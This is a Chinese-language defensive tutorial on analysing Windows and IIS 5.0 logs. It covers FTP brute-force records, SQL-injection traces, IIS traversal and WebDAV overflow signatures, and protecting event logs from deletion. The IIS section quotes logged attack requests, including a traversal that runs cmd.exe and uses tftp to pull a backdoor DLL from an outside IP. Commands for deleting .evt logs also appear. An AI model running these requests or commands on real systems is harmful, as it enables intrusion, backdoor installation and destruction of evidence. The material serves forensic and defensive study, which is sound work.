前言：日誌是入偵測的「黑盒子」

Windows 系統日誌忠實記錄每日事件，是系統管理員偵測入侵、追蹤攻擊者的關鍵證據。然而多數人忽視其存在，直到遭駭才想起調閱。本文跳過基本備份技巧，直擊實戰分析：FTP、WWW、HTTPD（IIS）三大服務日誌解讀，以及日誌遷移防刪除技術。

一、FTP 日誌分析：暴力破解的鐵證

預設每日產生一檔（如 ex040419.log），記事本即可開啟。典型暴力破解片段：

#Software: Microsoft Internet Information Services 5.0
#Date: 20040419 0315
#Fields: time cip csmethod csuristem scstatus
0315 127.0.0.1 [1]USER administrator 331
0318 127.0.0.1 [1]PASS – 530
032:04 127.0.0.1 [1]USER nt 331
032:06 127.0.0.1 [1]PASS – 530
032:09 127.0.0.1 [1]USER cyz 331
0322 127.0.0.1 [1]PASS – 530
0322 127.0.0.1 [1]USER administrator 331
0324 127.0.0.1 [1]PASS – 230  ← 登入成功
0321 127.0.0.1 [1]MKD nt 550
0325 127.0.0.1 [1]QUIT – 550

研判重點：同一 IP 短時間內嘗試多組帳號密碼，最終以 Administrator 登入成功。管理員應立即檢查：該帳號密碼是否外洩？是否被盜用？並立即變更密碼、檢查異常活動。

二、WWW 日誌分析：SQL Injection 與異常存取

日誌路徑：%systemroot%\system32\LogFiles\W3SVC1。欄位較 FTP 複雜，需具備豐富入侵防禦知識與細心。範例：

20040419 03:091 192.168.1.26 192.168.1.37 80 GET /iisstart.asp 200 Mozilla/4.0...

第六行顯示 IP 192.168.1.26 存取 192.168.1.37 的 80 埠，請求 iisstart.asp。結合安全日誌、FTP 日誌可鎖定入侵者 IP 與時間。針對 SQL 注入攻擊，重點檢查 GET/POST 參數中是否含有 '、;、-- 等特徵字串，定位受害網頁進行修補。

三、HTTPD (IIS) 經典漏洞日誌特徵

筆者於未修補舊版 IIS 5.0 環境實測，記錄兩大經典漏洞日誌特徵：

1. Unicode 目錄遍歷漏洞

攻擊者利用編碼繞過驗證，執行系統指令：

GET /_vti_bin/..\../..\../..\../winnt/system32/cmd.exe /c dir 200
→ 日誌記錄：
2004-04-19 08:47:47 192.168.0.1 - 192.168.0.218 80 GET /_vti_bin/..\../..\../..\../winnt/system32/cmd.exe /c dir 200 -

後續上傳後門程式：

2004-04-19 08:47:47 192.168.0.1 - 192.168.0.218 80 GET /_vti_bin/..\../..\../..\../winnt/system32/cmd.exe /c tftp -i 61.48.10.129 GET cool.dll c:\httpodbc.dll 502

日誌清楚記錄攻擊者 IP、執行指令、上傳檔案路徑與來源 IP，為事後鑑識提供完整鏈證。

2. WebDAV 遠端緩衝區溢位

2004-04-19 07:20:13 192.168.0.218 - 192.168.0.218 80 LOCK /AAAAA……

LOCK 方法搭配超長字串觸發溢位，導致 Web 服務掛點。亂碼部分為攻擊者計算的偏移位元組。注意：日誌中的攻擊 IP 可能為跳板（肉雞），需結合其他日誌追溯真實源頭。

四、日誌遷移與權限鎖定：防止入侵者銷毀證據

若攻擊成功，首要動作即清空日誌。預設日誌位於 %systemroot%\system32\config\*.evt，易被 del *.evt 刪除。對策：將日誌移至 NTFS 專用資料夾並設定嚴格權限。

1. 修改登錄 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog\Application\File（同理 Security、System），指向新資料夾（如 D:\SecureLogs）。
2. 將原 .evt 檔複製至新資料夾，重開機生效。
3. 右鍵新資料夾 → 「安全性」頁籤 → 取消「允許繼承權限」 → 新增「SYSTEM」群組，給予「完全控制」以外的權限；「Everyone」僅給「讀取」。
4. 調大日誌尺寸（預設 512 KB → 建議 20 MB），避免覆寫舊紀錄。

測試：以 del C:\*.evt /s /q 無法刪除移位後的日誌，大幅提高銷毀難度。

結語

掌握日誌分析技能，配合持續性的日誌保護機制，才能在入侵發生時迅速偵測、保全證據、追查源頭。建議管理員建立日常日誌審閱機制，並定期演練應變流程。